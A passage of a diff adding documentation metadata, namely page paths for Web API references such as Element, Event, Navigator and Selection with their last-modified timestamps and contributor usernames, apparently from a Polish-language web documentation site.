+ },
+ "Web/API/Element/offsetParent": {
+ "modified": "2019-03-23T23:47:41.365Z",
+ "contributors": [
+ "teoli",
+ "xuancanh",
+ "Ptak82",
+ "Tomekperlak",
+ "Mgjbot",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Element/offsetWidth": {
+ "modified": "2019-03-24T00:18:05.704Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "AshfaqHossain",
+ "Sprintserwis",
+ "Maciekp",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Element/onclick": {
+ "modified": "2019-03-24T00:04:00.144Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "fscholz",
+ "Bedi",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/onkeypress": {
+ "modified": "2019-03-23T23:41:39.155Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/onkeyup": {
+ "modified": "2019-03-23T23:46:25.129Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/onmousedown": {
+ "modified": "2019-03-23T23:47:20.727Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Bedi",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/onmousemove": {
+ "modified": "2019-03-24T00:00:26.392Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Hasilt",
+ "mwysinski",
+ "Bedi"
+ ]
+ },
+ "Web/API/Element/ownerDocument": {
+ "modified": "2019-03-23T23:53:12.643Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/parentNode": {
+ "modified": "2019-03-23T23:53:27.343Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek",
+ "Takenbot"
+ ]
+ },
+ "Web/API/Element/prefix": {
+ "modified": "2019-03-23T23:47:17.259Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/previousSibling": {
+ "modified": "2019-03-23T23:53:06.046Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Pitoutompoilu",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/querySelector": {
+ "modified": "2019-03-23T22:10:41.126Z",
+ "contributors": [
+ "jdrobiecki"
+ ]
+ },
+ "Web/API/Element/removeAttribute": {
+ "modified": "2019-03-23T23:53:07.027Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/removeAttributeNS": {
+ "modified": "2019-03-23T23:54:13.414Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/removeAttributeNode": {
+ "modified": "2019-03-23T23:53:09.733Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/removeChild": {
+ "modified": "2019-03-23T23:59:03.482Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "azrael_valedhel",
+ "Mgjbot",
+ "Uryga",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/replaceChild": {
+ "modified": "2019-03-23T23:54:13.730Z",
+ "contributors": [
+ "teoli",
+ "xuancanh",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/scrollLeft": {
+ "modified": "2019-03-23T23:47:12.548Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Radek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/scrollTop": {
+ "modified": "2019-03-23T23:47:13.917Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "khalid32",
+ "Wladimir_Palant",
+ "Mgjbot",
+ "Ptak82",
+ "Diablownik",
+ "Radek"
+ ]
+ },
+ "Web/API/Element/scrollWidth": {
+ "modified": "2019-03-23T23:47:16.382Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/setAttribute": {
+ "modified": "2019-03-23T23:53:08.874Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek",
+ "Takenbot"
+ ]
+ },
+ "Web/API/Element/setAttributeNS": {
+ "modified": "2019-03-23T23:53:02.997Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/setAttributeNode": {
+ "modified": "2019-03-23T23:53:19.350Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/setAttributeNodeNS": {
+ "modified": "2019-03-23T23:54:17.865Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/style": {
+ "modified": "2019-03-23T23:56:38.082Z",
+ "contributors": [
+ "lotny",
+ "SphinxKnight",
+ "teoli",
+ "jsx",
+ "obelyx",
+ "Ptak82",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Element/tabIndex": {
+ "modified": "2019-03-24T00:13:11.171Z",
+ "contributors": [
+ "teoli",
+ "arunpandianp",
+ "ethertank",
+ "dextra",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/tagName": {
+ "modified": "2019-03-23T23:53:27.472Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Element/textContent": {
+ "modified": "2019-03-23T23:47:17.523Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Event": {
+ "modified": "2020-03-06T04:03:57.947Z",
+ "contributors": [
+ "dkarski",
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek",
+ "Takenbot"
+ ]
+ },
+ "Web/API/Event/altKey": {
+ "modified": "2019-03-23T23:48:10.716Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/bubbles": {
+ "modified": "2019-03-23T23:50:27.106Z",
+ "contributors": [
+ "teoli",
+ "xuancanh",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/button": {
+ "modified": "2019-03-23T23:48:07.041Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/cancelBubble": {
+ "modified": "2019-03-23T23:41:11.564Z",
+ "contributors": [
+ "teoli",
+ "basemnassar11",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/cancelable": {
+ "modified": "2019-09-16T10:39:42.766Z",
+ "contributors": [
+ "Sturmpl",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/charCode": {
+ "modified": "2019-03-23T23:41:15.040Z",
+ "contributors": [
+ "teoli",
+ "mimzi_fahia",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/clientX": {
+ "modified": "2019-03-23T23:41:14.486Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/clientY": {
+ "modified": "2019-03-23T23:41:13.474Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/ctrlKey": {
+ "modified": "2019-03-23T23:41:13.226Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/currentTarget": {
+ "modified": "2019-03-23T23:41:15.144Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/eventPhase": {
+ "modified": "2019-03-23T23:41:12.078Z",
+ "contributors": [
+ "teoli",
+ "Hasilt",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/initEvent": {
+ "modified": "2019-03-23T23:53:19.999Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/initMouseEvent": {
+ "modified": "2019-03-23T23:50:26.012Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Event/initUIEvent": {
+ "modified": "2019-03-23T23:47:13.003Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Bedi",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/isChar": {
+ "modified": "2019-03-23T23:41:13.381Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/keyCode": {
+ "modified": "2019-03-23T23:41:14.121Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/layerX": {
+ "modified": "2019-03-23T23:41:12.332Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/layerY": {
+ "modified": "2019-03-23T23:41:12.787Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/metaKey": {
+ "modified": "2019-03-23T23:54:16.778Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Dabear",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/pageX": {
+ "modified": "2019-03-23T23:42:37.418Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/pageY": {
+ "modified": "2019-03-23T23:41:13.568Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/relatedTarget": {
+ "modified": "2019-03-23T23:41:15.246Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/screenX": {
+ "modified": "2019-03-23T23:41:13.675Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/screenY": {
+ "modified": "2019-03-23T23:41:13.789Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/shiftKey": {
+ "modified": "2019-03-23T23:41:14.937Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/stopPropagation": {
+ "modified": "2019-03-23T23:53:29.225Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Event/target": {
+ "modified": "2019-03-23T23:41:14.765Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/timeStamp": {
+ "modified": "2019-03-23T23:43:52.115Z",
+ "contributors": [
+ "teoli",
+ "Hasilt",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Event/type": {
+ "modified": "2019-03-23T23:41:14.851Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Jan Dudek",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Event/view": {
+ "modified": "2019-03-23T23:41:50.711Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/File": {
+ "modified": "2020-10-15T22:09:34.281Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Web/API/File/File": {
+ "modified": "2020-10-15T22:09:35.051Z",
+ "contributors": [
+ "mat-bi"
+ ]
+ },
+ "Web/API/Geolocation_API": {
+ "modified": "2020-10-28T03:32:31.226Z",
+ "contributors": [
+ "SphinxKnight",
+ "FILIP",
+ "Justyna1709"
+ ]
+ },
+ "Web/API/GlobalEventHandlers": {
+ "modified": "2019-03-18T21:40:36.589Z",
+ "contributors": [
+ "chrisdavidmills"
+ ]
+ },
+ "Web/API/GlobalEventHandlers/onblur": {
+ "modified": "2020-10-15T22:17:26.802Z",
+ "contributors": [
+ "mateuszpigula",
+ "bartosz-bieniek"
+ ]
+ },
+ "Web/API/GlobalEventHandlers/onfocus": {
+ "modified": "2020-10-15T22:17:27.888Z",
+ "contributors": [
+ "bartosz-bieniek"
+ ]
+ },
+ "Web/API/HTMLCanvasElement": {
+ "modified": "2020-10-15T22:04:15.653Z",
+ "contributors": [
+ "JKarkosza"
+ ]
+ },
+ "Web/API/HTMLCanvasElement/captureStream": {
+ "modified": "2020-10-15T22:04:15.570Z",
+ "contributors": [
+ "JKarkosza"
+ ]
+ },
+ "Web/API/HTMLCanvasElement/getContext": {
+ "modified": "2020-10-15T22:04:15.391Z",
+ "contributors": [
+ "mfijas",
+ "JKarkosza"
+ ]
+ },
+ "Web/API/HTMLCanvasElement/height": {
+ "modified": "2020-10-15T22:04:14.436Z",
+ "contributors": [
+ "JKarkosza"
+ ]
+ },
+ "Web/API/HTMLCanvasElement/width": {
+ "modified": "2020-10-15T22:04:14.229Z",
+ "contributors": [
+ "JKarkosza"
+ ]
+ },
+ "Web/API/HTMLElement": {
+ "modified": "2019-03-23T22:20:54.754Z",
+ "contributors": [
+ "fscholz"
+ ]
+ },
+ "Web/API/HTMLElement/dataset": {
+ "modified": "2020-10-15T22:07:00.382Z",
+ "contributors": [
+ "flakboy",
+ "lotny"
+ ]
+ },
+ "Web/API/HTMLFormElement": {
+ "modified": "2019-03-23T23:45:33.731Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/HTMLFormElement/acceptCharset": {
+ "modified": "2019-03-23T23:45:22.103Z",
+ "contributors": [
+ "teoli",
+ "Hasilt",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/HTMLFormElement/action": {
+ "modified": "2019-03-23T23:45:18.298Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/HTMLFormElement/elements": {
+ "modified": "2019-03-23T23:43:17.456Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/HTMLFormElement/encoding": {
+ "modified": "2019-03-23T23:47:01.703Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/API/HTMLFormElement/enctype": {
+ "modified": "2019-03-23T23:45:16.218Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/HTMLFormElement/length": {
+ "modified": "2019-03-23T23:45:16.769Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/HTMLFormElement/method": {
+ "modified": "2019-03-23T23:59:17.843Z",
+ "contributors": [
+ "teoli",
+ "Hasilt",
+ "drry",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/HTMLFormElement/name": {
+ "modified": "2019-03-23T23:45:22.472Z",
+ "contributors": [
+ "teoli",
+ "soumya",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/HTMLFormElement/reset": {
+ "modified": "2019-03-23T23:46:56.417Z",
+ "contributors": [
+ "teoli",
+ "Jeremie",
+ "Internauta1024A",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/HTMLFormElement/submit": {
+ "modified": "2019-03-23T23:46:56.512Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/API/HTMLFormElement/target": {
+ "modified": "2019-03-23T23:47:01.275Z",
+ "contributors": [
+ "teoli",
+ "basemnassar11",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/API/HTMLIFrameElement": {
+ "modified": "2019-07-30T13:30:29.361Z",
+ "contributors": [
+ "wbamberg",
+ "KubaKaszycki"
+ ]
+ },
+ "Web/API/HTMLSelectElement": {
+ "modified": "2020-10-15T22:29:38.928Z",
+ "contributors": [
+ "Loadmaster"
+ ]
+ },
+ "Web/API/HTMLTableElement": {
+ "modified": "2019-03-23T23:46:11.801Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "ethertank",
+ "Mgjbot",
+ "Ptak82",
+ "WadimdD"
+ ]
+ },
+ "Web/API/HTMLTableElement/caption": {
+ "modified": "2019-03-23T23:44:50.983Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "WadimdD",
+ "Ptak82"
+ ]
+ },
+ "Web/API/HTMLTableElement/tFoot": {
+ "modified": "2019-03-23T23:42:17.839Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82"
+ ]
+ },
+ "Web/API/HTMLTableElement/tHead": {
+ "modified": "2019-03-23T23:42:32.260Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Location": {
+ "modified": "2020-10-15T22:10:01.975Z",
+ "contributors": [
+ "mfuji09"
+ ]
+ },
+ "Web/API/Location/reload": {
+ "modified": "2020-10-15T22:10:04.816Z",
+ "contributors": [
+ "kanapka94"
+ ]
+ },
+ "Web/API/MIDIAccess": {
+ "modified": "2020-10-15T21:59:50.243Z",
+ "contributors": [
+ "bershanskiy",
+ "skoczy"
+ ]
+ },
+ "Web/API/MediaElementAudioSourceNode": {
+ "modified": "2020-10-15T22:28:39.656Z",
+ "contributors": [
+ "dawidos2017r"
+ ]
+ },
+ "Web/API/MouseScrollEvent": {
+ "modified": "2019-03-18T21:09:03.294Z",
+ "contributors": [
+ "fscholz",
+ "teoli",
+ "iwona1111"
+ ]
+ },
+ "Web/API/Navigator": {
+ "modified": "2019-03-23T23:01:33.543Z",
+ "contributors": [
+ "wbamberg",
+ "teoli"
+ ]
+ },
+ "Web/API/Navigator/appCodeName": {
+ "modified": "2019-03-23T23:49:13.430Z",
+ "contributors": [
+ "teoli",
+ "xuancanh",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Navigator/appName": {
+ "modified": "2019-03-23T23:49:12.926Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/appVersion": {
+ "modified": "2019-03-23T23:49:23.089Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Navigator/buildID": {
+ "modified": "2019-03-23T23:49:19.070Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/cookieEnabled": {
+ "modified": "2019-03-23T23:49:23.555Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/javaEnabled": {
+ "modified": "2019-03-23T23:49:40.467Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Navigator/language": {
+ "modified": "2019-03-23T23:49:32.556Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Navigator/mimeTypes": {
+ "modified": "2019-03-23T23:49:33.278Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/onLine": {
+ "modified": "2019-03-23T23:48:52.481Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Navigator/oscpu": {
+ "modified": "2019-03-23T23:49:31.983Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/platform": {
+ "modified": "2019-03-23T23:49:28.729Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/plugins": {
+ "modified": "2019-03-23T23:49:34.992Z",
+ "contributors": [
+ "sheldarr",
+ "teoli",
+ "jsx",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/product": {
+ "modified": "2019-03-23T23:49:35.115Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/productSub": {
+ "modified": "2019-03-23T23:49:31.506Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Navigator/registerContentHandler": {
+ "modified": "2019-03-23T23:51:33.038Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Diablownik",
+ "Mgjbot",
+ "Marcoos",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Navigator/registerProtocolHandler": {
+ "modified": "2019-03-23T23:52:37.570Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Marcoos",
+ "Flaneur",
+ "Mgjbot"
+ ]
+ },
+ "Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers": {
+ "modified": "2019-03-23T23:52:41.449Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Witia",
+ "Marcoos",
+ "Flaneur"
+ ]
+ },
+ "Web/API/NavigatorLanguage": {
+ "modified": "2019-03-23T23:01:34.390Z",
+ "contributors": [
+ "maniekbarty",
+ "teoli"
+ ]
+ },
+ "Web/API/NavigatorOnLine": {
+ "modified": "2019-03-23T23:01:33.822Z",
+ "contributors": [
+ "teoli"
+ ]
+ },
+ "Web/API/NavigatorOnLine/Zdarzenia_online_i_offline": {
+ "modified": "2019-01-16T15:46:42.070Z",
+ "contributors": [
+ "chrisdavidmills",
+ "Ptak82",
+ "Mgjbot",
+ "Flaneur"
+ ]
+ },
+ "Web/API/NavigatorPlugins": {
+ "modified": "2019-03-23T23:01:33.358Z",
+ "contributors": [
+ "teoli"
+ ]
+ },
+ "Web/API/ParentNode": {
+ "modified": "2020-10-15T22:19:13.921Z"
+ },
+ "Web/API/ParentNode/childElementCount": {
+ "modified": "2020-10-15T22:19:13.324Z",
+ "contributors": [
+ "kaka0204",
+ "SurmaAa"
+ ]
+ },
+ "Web/API/ParentNode/children": {
+ "modified": "2020-10-29T07:01:42.075Z",
+ "contributors": [
+ "dk333"
+ ]
+ },
+ "Web/API/Push_API": {
+ "modified": "2019-03-23T22:08:29.784Z",
+ "contributors": [
+ "prograamer"
+ ]
+ },
+ "Web/API/Range": {
+ "modified": "2019-03-23T23:45:35.004Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Response": {
+ "modified": "2020-10-15T22:26:26.518Z",
+ "contributors": [
+ "ZaneHannanAU"
+ ]
+ },
+ "Web/API/Screen": {
+ "modified": "2019-03-23T23:01:31.157Z",
+ "contributors": [
+ "teoli"
+ ]
+ },
+ "Web/API/Screen/colorDepth": {
+ "modified": "2019-03-23T23:50:21.916Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Screen/width": {
+ "modified": "2019-03-18T21:45:10.635Z",
+ "contributors": [
+ "kasztan"
+ ]
+ },
+ "Web/API/Selection": {
+ "modified": "2019-03-23T23:48:09.616Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Gocio",
+ "DR",
+ "Diablownik",
+ "Rev",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Selection/addRange": {
+ "modified": "2019-03-23T23:46:47.578Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/anchorNode": {
+ "modified": "2019-03-23T23:47:25.872Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Gocio",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/anchorOffset": {
+ "modified": "2019-03-23T23:46:54.375Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/collapse": {
+ "modified": "2019-03-23T23:46:59.083Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/collapseToEnd": {
+ "modified": "2019-03-23T23:46:58.778Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/collapseToStart": {
+ "modified": "2019-03-23T23:47:02.825Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/containsNode": {
+ "modified": "2019-03-23T23:46:53.862Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/deleteFromDocument": {
+ "modified": "2019-03-23T23:46:48.061Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/extend": {
+ "modified": "2019-03-23T23:46:50.880Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/focusNode": {
+ "modified": "2019-03-23T23:46:47.086Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "DR",
+ "Ptak82",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/focusOffset": {
+ "modified": "2019-03-23T23:46:50.243Z",
+ "contributors": [
+ "teoli",
+ "mimzi_fahia",
+ "Mgjbot",
+ "DR",
+ "Ptak82",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/getRangeAt": {
+ "modified": "2019-03-23T23:46:47.678Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "DR",
+ "Diablownik",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/isCollapsed": {
+ "modified": "2019-03-23T23:46:51.749Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "DR",
+ "Ptak82",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/rangeCount": {
+ "modified": "2019-03-23T23:46:49.626Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "DR",
+ "Diablownik",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/removeAllRanges": {
+ "modified": "2019-03-23T23:46:51.877Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/removeRange": {
+ "modified": "2019-03-23T23:46:49.730Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/selectAllChildren": {
+ "modified": "2019-03-23T23:46:48.182Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/Selection/toString": {
+ "modified": "2019-03-23T23:47:22.838Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "DR",
+ "Rev"
+ ]
+ },
+ "Web/API/SpeechRecognition": {
+ "modified": "2020-10-15T22:25:11.426Z",
+ "contributors": [
+ "malarium"
+ ]
+ },
+ "Web/API/Storage": {
+ "modified": "2019-03-23T23:50:43.254Z",
+ "contributors": [
+ "rudol",
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Ptak82",
+ "Rev",
+ "Bedi",
+ "Internauta1024A"
+ ]
